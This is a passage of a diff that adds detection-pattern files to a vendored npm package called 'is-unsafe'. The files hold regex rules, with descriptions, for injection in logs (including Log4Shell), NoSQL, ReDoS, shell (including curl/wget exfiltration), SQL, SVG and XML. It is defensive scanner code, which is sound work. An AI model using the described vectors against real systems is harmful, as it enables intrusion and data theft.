* 1. CRLF injection — injects fake log lines by embedding newlines
|
||||
* 2. Log4Shell (CVE-2021-44228) — ${jndi:...} triggers JNDI lookup in Log4j
|
||||
* 3. SSTI in log templates — {{...}}, #{...} trigger template evaluation
|
||||
* if the log message is passed through a template engine
|
||||
* 4. Null byte injection — truncates log entries in some implementations
|
||||
* 5. ANSI escape injection — manipulates terminal output when logs are
|
||||
* tailed in a terminal (colour codes, cursor movement, etc.)
|
||||
*
|
||||
* Note: Newline characters (\n, \r) will produce false positives for
|
||||
* multi-line legitimate values. Use this context only for single-line
|
||||
* log field values (usernames, IDs, request parameters, etc.).
|
||||
*/
|
||||
|
||||
const LOG_PATTERNS = [
|
||||
// ─── CRLF / newline injection ─────────────────────────────────────────────
|
||||
{
|
||||
id: 'log-crlf-injection',
|
||||
description: 'CRLF injection: literal \\r or \\n embeds fake log lines',
|
||||
pattern: /[\r\n]/,
|
||||
},
|
||||
{
|
||||
id: 'log-url-encoded-crlf',
|
||||
description: 'URL-encoded CRLF: %0d, %0a, %0D, %0A — decoded by some log parsers',
|
||||
pattern: /%0[dDaA]/,
|
||||
},
|
||||
{
|
||||
id: 'log-unicode-newline',
|
||||
description: 'Unicode newline variants: U+2028 (line separator), U+2029 (paragraph separator)',
|
||||
pattern: /[\u2028\u2029]/,
|
||||
},
|
||||
|
||||
// ─── Log4Shell / JNDI injection (CVE-2021-44228) ─────────────────────────
|
||||
{
|
||||
id: 'log-log4shell-jndi',
|
||||
description: 'Log4Shell: ${jndi:...} triggers remote code execution in Apache Log4j',
|
||||
pattern: /\$\{jndi\s*:/i,
|
||||
},
|
||||
{
|
||||
id: 'log-log4shell-obfuscated',
|
||||
description: 'Obfuscated Log4Shell: ${::-j}... lookup-bypass prefix used to evade WAF detection',
|
||||
// ${::- is the Log4j lookup-bypass escape sequence; presence alone is suspicious
|
||||
pattern: /\$\{::-/,
|
||||
},
|
||||
{
|
||||
id: 'log-log4j-lookup',
|
||||
description: 'Log4j lookup syntax: ${env:...}, ${sys:...}, ${ctx:...} — data exfiltration',
|
||||
pattern: /\$\{(?:env|sys|ctx|main|map|sd|web|docker|k8s|spring)\s*:/i,
|
||||
},
|
||||
|
||||
// ─── Server-Side Template Injection (SSTI) in log messages ───────────────
|
||||
{
|
||||
id: 'log-ssti-double-brace',
|
||||
description: 'SSTI double-brace: {{expression}} — Jinja2, Twig, Handlebars, etc.',
|
||||
pattern: /\{\{[\s\S]{0,80}\}\}/,
|
||||
},
|
||||
{
|
||||
id: 'log-ssti-hash-brace',
|
||||
description: 'SSTI hash-brace: #{expression} — Thymeleaf, Velocity, Ruby ERB',
|
||||
pattern: /#\{[\s\S]{0,80}\}/,
|
||||
},
|
||||
{
|
||||
id: 'log-ssti-dollar-brace',
|
||||
description: 'SSTI/EL injection: ${expression with operators or method calls} — JSP EL, Freemarker, SpEL',
|
||||
// Require that the ${...} content looks like an expression, not a plain variable name.
|
||||
// Flags if the content contains: . ( * + operators, or known SSTI keywords.
|
||||
// This avoids flagging ${PATH}, ${HOME} etc. (plain shell variables).
|
||||
pattern: /\$\{[^}]*(?:\.|\(|\*|\+|\bclass\b|\bruntime\b|\bprocess\b|\bexec\b)[^}]{0,80}\}/i,
|
||||
},
|
||||
{
|
||||
id: 'log-ssti-percent-tag',
|
||||
description: 'SSTI ERB/ASP tag: <%= expression %> — Ruby ERB, ASP',
|
||||
pattern: /<%=[\s\S]{0,80}%>/,
|
||||
},
|
||||
|
||||
// ─── Null byte ────────────────────────────────────────────────────────────
|
||||
{
|
||||
id: 'log-null-byte',
|
||||
description: 'Null byte: \\x00 or %00 — can truncate log entries in C-backed loggers',
|
||||
pattern: /\x00|%00/,
|
||||
},
|
||||
|
||||
// ─── ANSI escape injection ────────────────────────────────────────────────
|
||||
{
|
||||
id: 'log-ansi-escape',
|
||||
description: 'ANSI escape sequence: ESC[ — can manipulate terminal output when logs are tailed',
|
||||
pattern: /\x1b\[/,
|
||||
},
|
||||
];
|
||||
|
||||
export default LOG_PATTERNS;
|
||||
114
node_modules/is-unsafe/src/contexts/nosql.js
generated
vendored
Normal file
114
node_modules/is-unsafe/src/contexts/nosql.js
generated
vendored
Normal file
@@ -0,0 +1,114 @@
|
||||
/**
|
||||
* NOSQL context patterns.
|
||||
*
|
||||
* Detects injection vectors specific to NoSQL databases (primarily MongoDB)
|
||||
* and JavaScript-evaluated queries.
|
||||
*
|
||||
* Attack categories:
|
||||
* 1. MongoDB query operator injection: $where, $ne, $gt, $regex, $or, $and, etc.
|
||||
* These operators, when injected into a JSON query object, can bypass
|
||||
* authentication or exfiltrate data without knowing passwords.
|
||||
*
|
||||
* 2. JavaScript execution: $where clauses execute arbitrary JS server-side.
|
||||
*
|
||||
* 3. Prototype pollution: __proto__, constructor.prototype — can corrupt
|
||||
* the prototype chain of all objects in the Node.js process.
|
||||
*
|
||||
* Pattern note: MongoDB operators appear as JSON keys. In JSON, keys are
|
||||
* quoted: {"$where": ...} so the pattern must allow an optional closing
|
||||
* quote between the operator name and the colon: /\$where["'\s]*:/
|
||||
*/
|
||||
|
||||
// Shared suffix: optional closing quote/whitespace before the colon
|
||||
// Handles: $op: (bare), "$op": (JSON), '$op': (single-quoted)
|
||||
const SEP = /["'\s]*:/;
|
||||
const sep = '["\'\\s]*:';
|
||||
|
||||
const NOSQL_PATTERNS = [
|
||||
// ─── MongoDB $ operator injection ────────────────────────────────────────
|
||||
{
|
||||
id: 'nosql-where-operator',
|
||||
description: '$where — executes arbitrary JavaScript server-side in MongoDB',
|
||||
pattern: new RegExp(`\\$where${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-ne-operator',
|
||||
description: '$ne — "not equal" operator used to bypass equality checks',
|
||||
pattern: new RegExp(`\\$ne${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-gt-operator',
|
||||
description: '$gt — "greater than" used to bypass password/value checks',
|
||||
pattern: new RegExp(`\\$gte?${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-lt-operator',
|
||||
description: '$lt / $lte — "less than" bypass variants',
|
||||
pattern: new RegExp(`\\$lte?${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-regex-operator',
|
||||
description: '$regex — can be used to extract data character by character (blind injection)',
|
||||
pattern: new RegExp(`\\$regex${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-or-operator',
|
||||
description: '$or — logical OR; used to create always-true conditions',
|
||||
pattern: new RegExp(`\\$or${sep}\\s*\\[`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-and-operator',
|
||||
description: '$and — logical AND operator injection',
|
||||
pattern: new RegExp(`\\$and${sep}\\s*\\[`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-nor-operator',
|
||||
description: '$nor — logical NOR operator injection',
|
||||
pattern: new RegExp(`\\$nor${sep}\\s*\\[`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-exists-operator',
|
||||
description: '$exists — can enumerate fields to determine schema',
|
||||
pattern: new RegExp(`\\$exists${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-in-operator',
|
||||
description: '$in — matches any value in a list; can enumerate values',
|
||||
pattern: new RegExp(`\\$in${sep}\\s*\\[`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-expr-operator',
|
||||
description: '$expr — allows aggregation expressions in queries (MongoDB 3.6+)',
|
||||
pattern: new RegExp(`\\$expr${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-function-operator',
|
||||
description: '$function — executes arbitrary JavaScript in MongoDB 4.4+',
|
||||
pattern: new RegExp(`\\$function${sep}`, 'i'),
|
||||
},
|
||||
{
|
||||
id: 'nosql-accumulator-operator',
|
||||
description: '$accumulator — custom aggregation with arbitrary JS execution',
|
||||
pattern: new RegExp(`\\$accumulator${sep}`, 'i'),
|
||||
},
|
||||
// ─── Prototype pollution ─────────────────────────────────────────────────
|
||||
{
|
||||
id: 'nosql-proto-pollution',
|
||||
description: '__proto__ — prototype pollution via object key injection',
|
||||
pattern: /__proto__/,
|
||||
},
|
||||
{
|
||||
id: 'nosql-constructor-prototype',
|
||||
description: 'constructor.prototype — alternative prototype pollution vector (dot notation or JSON key)',
|
||||
// Matches dot-notation (obj.constructor.prototype) and JSON key adjacency
|
||||
// ("constructor": {"prototype": ...})
|
||||
pattern: /constructor[\s"':.,{\[]*prototype/i,
|
||||
},
|
||||
{
|
||||
id: 'nosql-proto-bracket',
|
||||
description: '["__proto__"] — bracket-notation prototype pollution',
|
||||
pattern: /\[["']__proto__["']\]/,
|
||||
},
|
||||
];
|
||||
|
||||
export default NOSQL_PATTERNS;
|
||||
60
node_modules/is-unsafe/src/contexts/redos.js
generated
vendored
Normal file
60
node_modules/is-unsafe/src/contexts/redos.js
generated
vendored
Normal file
@@ -0,0 +1,60 @@
|
||||
/**
|
||||
* REDOS context patterns.
|
||||
*
|
||||
* Detects strings that, if used as regular expressions, could cause
|
||||
* catastrophic backtracking (ReDoS — Regular Expression Denial of Service).
|
||||
*
|
||||
* These patterns detect the structural forms that lead to exponential or
|
||||
* polynomial backtracking in NFA-based regex engines (V8, PCRE, Java, etc.).
|
||||
*
|
||||
* Use this context when user-supplied strings will be compiled into RegExp objects.
|
||||
*/
|
||||
|
||||
const REDOS_PATTERNS = [
|
||||
{
|
||||
id: 'redos-nested-quantifier-plus',
|
||||
description: 'Nested + quantifier inside a group with outer quantifier: (a+)+, (.+b)*, etc.',
|
||||
// Matches any group containing a + quantifier, with an outer * or + — catches (a+)+, (.+b)*, etc.
|
||||
pattern: /\([^)]*\+[^)]*\)[+*]/,
|
||||
},
|
||||
{
|
||||
id: 'redos-nested-quantifier-star',
|
||||
description: 'Nested * quantifier: (a*)* or (a*)+ — catastrophic backtracking',
|
||||
pattern: /\([^)]*\*[^)]*\)[*+]/,
|
||||
},
|
||||
{
|
||||
id: 'redos-nested-groups',
|
||||
description: 'Doubly nested quantified groups: ((a+)+) — guaranteed catastrophic',
|
||||
pattern: /\(\([^)]{0,40}\)[+*]\)[+*]/,
|
||||
},
|
||||
{
|
||||
id: 'redos-alternation-overlap',
|
||||
description: 'Overlapping alternation under quantifier: (a|a)+ — ambiguous NFA paths',
|
||||
// Detect repeated identical alternatives under a quantifier
|
||||
pattern: /\(([^|()]{1,20})\|(?:\1)(?:\|[^|()]{1,20}){0,5}\)[+*?]{1,2}/,
|
||||
},
|
||||
{
|
||||
id: 'redos-star-plus-concat',
|
||||
description: '(x*x)+ pattern — triggers super-linear backtracking',
|
||||
pattern: /\([^)]{0,10}\*[^)]{0,10}\)[+*]/,
|
||||
},
|
||||
{
|
||||
id: 'redos-dot-star-greedy',
|
||||
description: '(.*){n,} or (.+){n,} — repeated greedy dot quantifiers',
|
||||
pattern: /\(\.[*+]\)\{?\d/,
|
||||
},
|
||||
{
|
||||
id: 'redos-large-repetition',
|
||||
description: 'Very large fixed or range repetition count {1000,} or {1000,n} — denial of service via backtracking',
|
||||
// Matches { followed by 4+ digits (≥1000), then optional ,digits }
|
||||
pattern: /\{\d{4,}(?:,\d*)?\}/,
|
||||
},
|
||||
{
|
||||
id: 'redos-catastrophic-alternation',
|
||||
description: 'Long alternation with many similar branches — polynomial backtracking risk',
|
||||
// Heuristic: 10+ pipe-separated alternatives in a single group
|
||||
pattern: /\([^)]{0,200}(?:\|[^|)]{0,50}){9,}\)/,
|
||||
},
|
||||
];
|
||||
|
||||
export default REDOS_PATTERNS;
|
||||
105
node_modules/is-unsafe/src/contexts/shell.js
generated
vendored
Normal file
105
node_modules/is-unsafe/src/contexts/shell.js
generated
vendored
Normal file
@@ -0,0 +1,105 @@
|
||||
/**
|
||||
* SHELL context patterns.
|
||||
*
|
||||
* Detects shell injection vectors and path traversal patterns.
|
||||
* Designed for use when a string will be passed to a shell command,
|
||||
* used as a file path, or interpolated into OS-level operations.
|
||||
*/
|
||||
|
||||
const SHELL_PATTERNS = [
|
||||
{
|
||||
id: 'shell-path-traversal-unix',
|
||||
description: 'Unix path traversal: ../ — climbing the directory tree',
|
||||
pattern: /\.\.\//,
|
||||
},
|
||||
{
|
||||
id: 'shell-path-traversal-windows',
|
||||
description: 'Windows path traversal: ..\\ — climbing the directory tree',
|
||||
pattern: /\.\.\\/,
|
||||
},
|
||||
{
|
||||
id: 'shell-path-traversal-encoded',
|
||||
description: 'URL-encoded path traversal: %2e%2e or %2f variants',
|
||||
pattern: /%2e%2e|%2f\.\.|\.\.%2f/i,
|
||||
},
|
||||
{
|
||||
id: 'shell-null-byte',
|
||||
description: 'Null byte injection: \\x00 or %00 — truncates strings in C-backed functions',
|
||||
pattern: /\x00|%00/,
|
||||
},
|
||||
{
|
||||
id: 'shell-semicolon',
|
||||
description: 'Semicolon command separator: cmd1; cmd2',
|
||||
pattern: /;/,
|
||||
},
|
||||
{
|
||||
id: 'shell-pipe',
|
||||
description: 'Pipe operator: cmd1 | cmd2',
|
||||
pattern: /\|/,
|
||||
},
|
||||
{
|
||||
id: 'shell-and-operator',
|
||||
description: 'AND operator: cmd1 && cmd2',
|
||||
pattern: /&&/,
|
||||
},
|
||||
{
|
||||
id: 'shell-or-operator',
|
||||
description: 'OR operator: cmd1 || cmd2',
|
||||
pattern: /\|\|/,
|
||||
},
|
||||
{
|
||||
id: 'shell-backtick',
|
||||
description: 'Backtick command substitution: `cmd`',
|
||||
pattern: /`/,
|
||||
},
|
||||
{
|
||||
id: 'shell-dollar-paren',
|
||||
description: 'Dollar-paren command substitution: $(cmd)',
|
||||
pattern: /\$\(/,
|
||||
},
|
||||
{
|
||||
id: 'shell-dollar-brace',
|
||||
description: 'Dollar-brace variable expansion: ${var} — can be abused for injection',
|
||||
pattern: /\$\{/,
|
||||
},
|
||||
{
|
||||
id: 'shell-redirect-out',
|
||||
description: 'Output redirection: cmd > file or cmd >> file',
|
||||
pattern: />{1,2}/,
|
||||
},
|
||||
{
|
||||
id: 'shell-redirect-in',
|
||||
description: 'Input redirection: cmd < file',
|
||||
pattern: /</,
|
||||
},
|
||||
{
|
||||
id: 'shell-newline-injection',
|
||||
description: 'Newline injection: \\n or \\r — can inject new shell commands',
|
||||
pattern: /[\n\r]/,
|
||||
},
|
||||
{
|
||||
id: 'shell-glob-star',
|
||||
description: 'Glob expansion: * or ? — can expand to unintended files',
|
||||
// Only flag when combined with path separators to reduce false positives
|
||||
pattern: /[/\\][*?]/,
|
||||
},
|
||||
{
|
||||
id: 'shell-absolute-root',
|
||||
description: 'Absolute root path injection: string starting with / or \\ (Windows UNC)',
|
||||
pattern: /^(?:\/|\\\\)/,
|
||||
},
|
||||
{
|
||||
id: 'shell-windows-drive',
|
||||
description: 'Windows drive letter path injection: C:\\ or D:/',
|
||||
pattern: /^[a-zA-Z]:[/\\]/,
|
||||
},
|
||||
{
|
||||
id: 'shell-curl-wget',
|
||||
description: 'curl/wget with URL or flags — can exfiltrate data or download payloads',
|
||||
// Require a URL scheme (http/https/ftp) or a flag (-) to reduce false positives
|
||||
// "curl is a tool" won't match; "curl http://..." or "curl -s ..." will
|
||||
pattern: /\b(?:curl|wget)\s+(?:https?:\/\/|ftp:\/\/|-)/i,
|
||||
},
|
||||
];
|
||||
|
||||
export default SHELL_PATTERNS;
|
||||
47
node_modules/is-unsafe/src/contexts/sql-strict.js
generated
vendored
Normal file
47
node_modules/is-unsafe/src/contexts/sql-strict.js
generated
vendored
Normal file
@@ -0,0 +1,47 @@
|
||||
/**
|
||||
* SQL-STRICT context patterns.
|
||||
*
|
||||
* Extends the base 'SQL' context with three additional rules that are
|
||||
* effective at detecting real injections but carry a higher false-positive
|
||||
* risk on general free-text input.
|
||||
*
|
||||
* Use 'SQL-STRICT' when:
|
||||
* - The string is specifically a SQL fragment or database identifier
|
||||
* - You control the input domain (e.g. a dedicated SQL search field)
|
||||
* - You can tolerate occasional false positives in exchange for broader coverage
|
||||
*
|
||||
* Use 'SQL' (not STRICT) when:
|
||||
* - The field is general user text (names, descriptions, comments)
|
||||
* - False positives would block legitimate content (e.g. "see note -- above")
|
||||
*
|
||||
* Rules moved here from 'SQL' due to false-positive risk:
|
||||
*
|
||||
* sql-line-comment — "--" fires on "see note -- above", "value--", CSS var(--primary)
|
||||
* sql-stacked-query — "; SELECT" fires on legitimate prose with semicolons + SQL words
|
||||
* sql-hex-encoding — "0xDEAD" fires on hex values in technical docs and log output
|
||||
*/
|
||||
|
||||
import SQL_PATTERNS from './sql.js';
|
||||
|
||||
const SQL_STRICT_EXTRA = [
|
||||
{
|
||||
id: 'sql-line-comment',
|
||||
description: 'SQL line comment: -- followed by whitespace or end of string',
|
||||
pattern: /--(?:\s|$)/,
|
||||
},
|
||||
{
|
||||
id: 'sql-stacked-query',
|
||||
description: 'Stacked queries: semicolon immediately followed by a SQL keyword',
|
||||
pattern: /;\s{0,10}(?:SELECT|INSERT|UPDATE|DELETE|DROP|CREATE|ALTER|EXEC)\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-hex-encoding',
|
||||
description: 'Hex-encoded string injection: 0x41414141 style (MySQL)',
|
||||
pattern: /\b0x[0-9a-f]{4,}/i,
|
||||
},
|
||||
];
|
||||
|
||||
// SQL-STRICT = all base SQL rules + the three noisy extras
|
||||
const SQL_STRICT_PATTERNS = [...SQL_PATTERNS, ...SQL_STRICT_EXTRA];
|
||||
|
||||
export default SQL_STRICT_PATTERNS;
|
||||
95
node_modules/is-unsafe/src/contexts/sql.js
generated
vendored
Normal file
95
node_modules/is-unsafe/src/contexts/sql.js
generated
vendored
Normal file
@@ -0,0 +1,95 @@
|
||||
/**
|
||||
* SQL context patterns — high-precision rules only.
|
||||
*
|
||||
* These rules have very low false-positive risk and are safe to apply to
|
||||
* general user text (names, descriptions, search queries, etc.).
|
||||
* All patterns are ReDoS-safe — unlike the `sql-injection` npm package
|
||||
* which has an active CVE on its own detection regexes.
|
||||
*
|
||||
* For exhaustive coverage including noisier heuristics (comment sequences,
|
||||
* hex literals, stacked queries with semicolons), use 'SQL-STRICT' instead.
|
||||
* Apply 'SQL-STRICT' only to strings that are specifically SQL fragments,
|
||||
* not to general free-text fields.
|
||||
*/
|
||||
|
||||
const SQL_PATTERNS = [
|
||||
{
|
||||
id: 'sql-block-comment-open',
|
||||
description: 'SQL block comment open: /* ... */ — unusual in legitimate user text',
|
||||
pattern: /\/\*/,
|
||||
},
|
||||
{
|
||||
id: 'sql-union-select',
|
||||
description: 'UNION SELECT — most common SQL injection aggregation attack',
|
||||
pattern: /\bUNION\s{1,20}(?:ALL\s{1,20})?SELECT\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-drop-table',
|
||||
description: 'DROP TABLE — destructive DDL injection',
|
||||
pattern: /\bDROP\s{1,20}TABLE\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-drop-database',
|
||||
description: 'DROP DATABASE — destructive DDL injection',
|
||||
pattern: /\bDROP\s{1,20}DATABASE\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-insert-into',
|
||||
description: 'INSERT INTO — data injection',
|
||||
pattern: /\bINSERT\s{1,20}INTO\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-delete-from',
|
||||
description: 'DELETE FROM — data deletion injection',
|
||||
pattern: /\bDELETE\s{1,20}FROM\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-update-set',
|
||||
description: 'UPDATE ... SET — data modification injection',
|
||||
// Allows arbitrary content between UPDATE and SET (table name, alias, etc.)
|
||||
pattern: /\bUPDATE\b[\s\S]{1,60}\bSET\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-exec-xp',
|
||||
description: 'EXEC xp_ — MSSQL extended stored procedure execution',
|
||||
pattern: /\bEXEC(?:UTE)?\s{1,20}xp_/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-tautology-string',
|
||||
description: "Classic string tautology: ' OR '1'='1 or \" OR \"1\"=\"1\"",
|
||||
// Last quote is optional — injection may truncate it: ' OR '1'='1--
|
||||
pattern: /'\s{0,10}OR\s{0,10}'[^']{0,20}'\s*=\s*'[^']{0,20}/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-tautology-numeric',
|
||||
description: 'Numeric tautology: OR 1=1',
|
||||
pattern: /\bOR\s{1,10}1\s*=\s*1\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-always-true-zero',
|
||||
description: 'Numeric tautology: OR 0=0',
|
||||
pattern: /\bOR\s{1,10}0\s*=\s*0\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-sleep-benchmark',
|
||||
description: 'Time-based blind injection: SLEEP() or BENCHMARK()',
|
||||
pattern: /\b(?:SLEEP|BENCHMARK)\s*\(/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-waitfor-delay',
|
||||
description: 'MSSQL time-based blind injection: WAITFOR DELAY',
|
||||
pattern: /\bWAITFOR\s{1,20}DELAY\b/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-char-function',
|
||||
description: 'CHAR() function — used to obfuscate injected strings',
|
||||
pattern: /\bCHAR\s*\(\s*\d{1,3}/i,
|
||||
},
|
||||
{
|
||||
id: 'sql-information-schema',
|
||||
description: 'INFORMATION_SCHEMA — reconnaissance query for table/column enumeration',
|
||||
pattern: /\bINFORMATION_SCHEMA\b/i,
|
||||
},
|
||||
];
|
||||
|
||||
export default SQL_PATTERNS;
|
||||
81
node_modules/is-unsafe/src/contexts/svg.js
generated
vendored
Normal file
81
node_modules/is-unsafe/src/contexts/svg.js
generated
vendored
Normal file
@@ -0,0 +1,81 @@
|
||||
/**
|
||||
* SVG context patterns.
|
||||
*
|
||||
* SVG is XML-based but renders in browsers, giving it a unique attack surface
|
||||
* that combines XML parser behaviour with browser rendering and JavaScript execution.
|
||||
*
|
||||
* Many of these vectors bypass HTML sanitizers that don't understand SVG semantics
|
||||
* (DOMPurify has documented bypass vulnerabilities specifically in SVG/XML context).
|
||||
*/
|
||||
|
||||
const SVG_PATTERNS = [
|
||||
{
|
||||
id: 'svg-script-element',
|
||||
description: '<script element inside SVG executes JavaScript',
|
||||
pattern: /<script[\s>/]/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-xlink-href-javascript',
|
||||
description: 'xlink:href with javascript: — classic SVG XSS via <a> or <use>',
|
||||
pattern: /xlink\s*:\s*href\s*=\s*["']?\s*javascript\s*:/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-href-javascript',
|
||||
description: 'href= with javascript: in SVG context (<a>, <animate>, etc.)',
|
||||
pattern: /href\s*=\s*["']?\s*javascript\s*:/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-foreignobject',
|
||||
description: '<foreignObject embeds HTML inside SVG — can execute scripts',
|
||||
pattern: /<foreignObject[\s>/]/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-use-external',
|
||||
description: '<use xlink:href or href pointing to external resource (non-fragment URL)',
|
||||
// Match <use with href= where the value starts with a non-# character (external URL)
|
||||
// [\"'][^#] catches quoted values not starting with #; [^\"'#\s>] catches unquoted
|
||||
pattern: /<use[\s\S]{0,60}(?:xlink\s*:\s*)?href\s*=\s*(?:["'][^#]|[^"'#\s>])/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-animate-href',
|
||||
description: '<animate attributeName="href" — can dynamically change href to javascript:',
|
||||
pattern: /<animate[\s\S]{0,80}attributeName\s*=\s*["'][\s]*href["']/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-animate-xlinkhref',
|
||||
description: '<animate attributeName="xlink:href"',
|
||||
pattern: /<animate[\s\S]{0,80}attributeName\s*=\s*["'][\s]*xlink\s*:\s*href["']/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-set-javascript',
|
||||
description: '<set to="javascript:..." — sets an attribute to a javascript: URI',
|
||||
pattern: /<set[\s\S]{0,80}to\s*=\s*["']?\s*javascript\s*:/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-event-handler',
|
||||
description: 'SVG-specific event handler attributes: onload=, onerror=, onactivate=, etc.',
|
||||
pattern: /\bon(?:load|error|activate|begin|end|repeat|focus|blur|click|mouse\w{1,20}|key\w{1,20})\s*=/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-handler-generic',
|
||||
description: 'Generic on* handler catch-all for SVG attributes',
|
||||
pattern: /\bon\w{1,30}\s*=/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-filter-feimage',
|
||||
description: '<feImage href= — filter primitive that can load external resources',
|
||||
pattern: /<feImage[\s\S]{0,80}(?:xlink\s*:\s*)?href\s*=/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-image-external',
|
||||
description: '<image xlink:href with http/https or javascript protocol',
|
||||
pattern: /<image[\s\S]{0,80}(?:xlink\s*:\s*)?href\s*=\s*["']?\s*(?:https?|javascript)\s*:/i,
|
||||
},
|
||||
{
|
||||
id: 'svg-style-javascript',
|
||||
description: 'style= attribute containing javascript: (e.g. background:url(javascript:...))',
|
||||
pattern: /style\s*=[\s\S]{0,60}javascript\s*:/i,
|
||||
},
|
||||
];
|
||||
|
||||
export default SVG_PATTERNS;
|
||||
78
node_modules/is-unsafe/src/contexts/xml.js
generated
vendored
Normal file
78
node_modules/is-unsafe/src/contexts/xml.js
generated
vendored
Normal file
@@ -0,0 +1,78 @@
|
||||
/**
|
||||
* XML context patterns.
|
||||
*
|
||||
* Detects injection vectors that are specifically dangerous when a string
|
||||
* is inserted into an XML document (not HTML rendering context).
|
||||
*
|
||||
* Key distinction from HTML: these patterns target parser-level attacks —
|
||||
* things that can confuse or subvert an XML parser, trigger external entity
|
||||
* resolution, or inject DTD content. HTML rendering concerns (XSS) belong
|
||||
* in the HTML context.
|
||||
*/
|
||||
|
||||
const XML_PATTERNS = [
|
||||
{
|
||||
id: 'xml-cdata-injection',
|
||||
description: 'CDATA section injection: <![CDATA[ breaks out of text node context',
|
||||
pattern: /<!\[CDATA\[/i,
|
||||
},
|
||||
{
|
||||
id: 'xml-cdata-close',
|
||||
description: 'CDATA close sequence: ]]> can terminate an enclosing CDATA section',
|
||||
pattern: /\]\]>/,
|
||||
},
|
||||
{
|
||||
id: 'xml-processing-instruction',
|
||||
description: 'XML processing instruction: <?xml-stylesheet or <?php etc.',
|
||||
pattern: /<\?(?:xml[\- ]|php|asp)/i,
|
||||
},
|
||||
{
|
||||
id: 'xml-doctype-injection',
|
||||
description: 'DOCTYPE declaration embedded in content — can define entities',
|
||||
// Match <!DOCTYPE followed by end-of-string, whitespace, or [ (internal subset)
|
||||
pattern: /<!DOCTYPE(?:[\s[]|$)/i,
|
||||
},
|
||||
{
|
||||
id: 'xml-entity-system',
|
||||
description: 'SYSTEM keyword — used in external entity declarations (XXE)',
|
||||
pattern: /\bSYSTEM\s+["']/i,
|
||||
},
|
||||
{
|
||||
id: 'xml-entity-public',
|
||||
description: 'PUBLIC keyword — used in external entity declarations (XXE)',
|
||||
pattern: /\bPUBLIC\s+["']/i,
|
||||
},
|
||||
{
|
||||
id: 'xml-entity-declaration',
|
||||
description: '<!ENTITY declaration — defines entities, potential XXE or entity expansion',
|
||||
pattern: /<!ENTITY[\s%]/i,
|
||||
},
|
||||
{
|
||||
id: 'xml-billion-laughs',
|
||||
description: 'Entity reference chaining / billion laughs: repeated &eX; style references',
|
||||
// Heuristic: 3+ consecutive entity refs suggests expansion attack
|
||||
pattern: /(?:&\w{1,20};){3,}/,
|
||||
},
|
||||
{
|
||||
id: 'xml-namespace-confusion',
|
||||
description: 'xmlns: attribute injection — can redefine namespaces to confuse parsers',
|
||||
pattern: /\bxmlns\s*(?::\w{1,40})?\s*=/i,
|
||||
},
|
||||
{
|
||||
id: 'xml-comment-injection',
|
||||
description: '<!-- comment injection — can hide content from some parsers',
|
||||
pattern: /<!--/,
|
||||
},
|
||||
{
|
||||
id: 'xml-comment-close',
|
||||
description: '--> closes an enclosing XML comment',
|
||||
pattern: /-->/,
|
||||
},
|
||||
{
|
||||
id: 'xml-pi-close',
|
||||
description: '?> closes an enclosing processing instruction',
|
||||
pattern: /\?>/,
|
||||
},
|
||||
];
|
||||
|
||||
export default XML_PATTERNS;
|
||||
27
node_modules/is-unsafe/src/index.cjs
generated
vendored
Normal file
27
node_modules/is-unsafe/src/index.cjs
generated
vendored
Normal file
@@ -0,0 +1,27 @@
|
||||
// CommonJS shim — generated from src/index.js
|
||||
// For bundlers and Node.js environments that require CJS interop.
|
||||
// This file re-exports via dynamic import to bridge ESM → CJS.
|
||||
|
||||
let _mod;
|
||||
async function _load() {
|
||||
if (!_mod) _mod = await import('./index.js');
|
||||
return _mod;
|
||||
}
|
||||
|
||||
// Synchronous-style exports via module.exports proxy
|
||||
// (Works for environments that await the module, e.g. Jest with transformIgnorePatterns)
|
||||
module.exports = new Proxy(
|
||||
{},
|
||||
{
|
||||
get(_, key) {
|
||||
throw new Error(
|
||||
`is-unsafe: CommonJS require() is not fully supported. ` +
|
||||
`Use dynamic import(): const { isUnsafe } = await import('is-unsafe'). ` +
|
||||
`Or set "type": "module" in your package.json.`
|
||||
);
|
||||
},
|
||||
}
|
||||
);
|
||||
|
||||
// Export the loader for async CJS callers
|
||||
module.exports.load = _load;
|
||||
28
node_modules/is-unsafe/src/index.d.ts
generated
vendored
Normal file
28
node_modules/is-unsafe/src/index.d.ts
generated
vendored
Normal file
@@ -0,0 +1,28 @@
|
||||
export type ContextName =
|
||||
| 'HTML'
|
||||
| 'XML'
|
||||
| 'SVG'
|
||||
| 'SQL'
|
||||
| 'SQL-STRICT'
|
||||
| 'SHELL'
|
||||
| 'REDOS'
|
||||
| 'NOSQL'
|
||||
| 'LOG';
|
||||
|
||||
export interface MatchResult {
|
||||
context: string;
|
||||
id: string;
|
||||
description: string;
|
||||
